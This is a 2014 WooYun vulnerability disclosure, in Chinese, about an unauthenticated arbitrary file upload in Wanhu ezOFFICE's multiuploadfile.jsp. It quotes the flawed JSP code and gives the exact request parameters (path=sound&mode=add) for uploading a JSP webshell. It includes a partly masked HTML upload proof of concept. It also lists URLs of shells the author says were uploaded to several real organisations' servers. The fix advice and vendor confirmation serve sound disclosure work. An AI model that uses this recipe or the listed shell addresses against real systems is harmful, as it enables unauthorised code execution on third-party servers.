当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082128

漏洞标题:万户ezOFFICE一处任意文件操作

相关厂商:万户网络

漏洞作者: goubuli

提交时间:2014-11-06 18:15

修复时间:2015-02-04 18:16

公开时间:2015-02-04 18:16

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-06: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-14: 细节向第三方安全合作伙伴开放
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-04: 细节向公众公开

简要描述:

万户ezOFFICE一处任意文件操作

详细说明:

其实标题可以写“万户ezOFFICE又一处任意文件上传可getshell,无上传限制”,考虑到对厂商的影响,所以标题写的隐晦一点。
万户ezOFFICE又一处任意文件上传可getshell
wooyun上面报了很多万户的文件漏洞,尤其是“北京方便面”和“瘦蛟舞”提交的较多。
今天审计的这个点,wooyun上现在还没人提交。
对应文件:
\defaultroot\public\jsp\multiuploadfile.jsp
出现问题的代码如下:

String filePath="/upload/"+path+"/";		//上传文件存放的位置,path可自定义
if("add".equals(mode)){ //上传标识
boolean tooBig=false;
myUpload.initialize(pageContext);
myUpload.upload();
for (int j=0;j<myUpload.getFiles().getCount();j++){
myRandom=new com.whir.common.util.Random().getRandom(); //文件名是根据时间生产的一个序列,后面有说明
com.jspsmart.upload.File myFile = myUpload.getFiles().getFile(j);
int size=myFile.getSize();
if(fileSize==0 || myFile.getSize()<fileSize){
if (!myFile.isMissing()) {
saveName=myRandom+"."+myFile.getFileExt();
fileName=myFile.getFileName();
myFile.saveAs(filePath + saveName); //上传的文件直接保存到对应位置
}
}else{
tooBig=true;
}
}
if(tooBig){%>


还有一些参数获取,这里指出两个重要参数:

String mode=(String)request.getParameter("mode");
String path=(String)request.getParameter("path");


其中mode代表命令,path指定特定位置。
那么我们做如下构造:
path=sound&mode=add
提交无需“multipart/form-data”方式提交。
其中:
参数:path=sound 指定的路径为:\defaultroot\upload\sound\
mode=add 为满足if条件,即上传。
第一次上传可能没有数据,跳转页面也可上传。(可以直接用burp提交)

1105_1.png


上传成功:

1105_3.png


此时可以通过查看页面源码看到改名后的文件:

1105_2.png


代码:

<SCRIPT LANGUAGE="JavaScript">
<!--
alert("附件上传成功");
//在调用页面的table列表中显示
opener.reView("<%=saveName%>");
var path="<%=path%>";
var parentTable="<%=tableName%>";
var fileNames="<%=fileNames%>";
var saveNames="<%=saveNames%>";
var obj=eval("opener.window.document.all."+parentTable);


其中saveName为改名后的文件。
然后访问shell:http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110516441408716191497.jsp

1105_4.png


申明:所有测试均无损害。

漏洞证明:

别人未提交过

1105_5.png


受影响的系统较多

mask 区域
*****l&gt*****
*****ead&*****
*****ad POC</*****
*****t; content="text/*****
*****uot;text/cs*****
*****e:12px; backgrou*****
*****yle&gt*****
*****ad&gt*****
*****y>*****
1.://**.**.**//oa.yundagroup.com:7001/defaultroot/public/jsp/multiuploadfile.jsppath=sound&fileName=fileName&mode=add&saveName=soundSaveName&tableName=soundTableName&fileMaxSize=0&photos=null"> _
*****pe="text" size="70" *****
*****;br&*****
*****r>*****
*****t type="file" size="70&qu*****
*****r>*****
*****;br&*****
*****uot;btnSubmit" val*****
*****form&*****
*****dy&gt*****
*****htm*****


上次提交的多漏洞中都中招:
WooYun: 万户OA未修补漏洞致多个政府&集团OA中招
测试了其中几个,
shell地址:
http://222.178.221.54:7001/defaultroot/upload/sound/2014110514261813627153789.jsp
http://oa.hongdou.com:7001/defaultroot/upload/sound/2014110514400983604036844.jsp
http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110514434370947164885.jsp

1105_6.png

修复方案:

1、检查所有文件操作模块
2、所有加身份验证
3、增加文件内容校验。。。

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-11-11 10:10

厂商回复:

最新状态:

暂无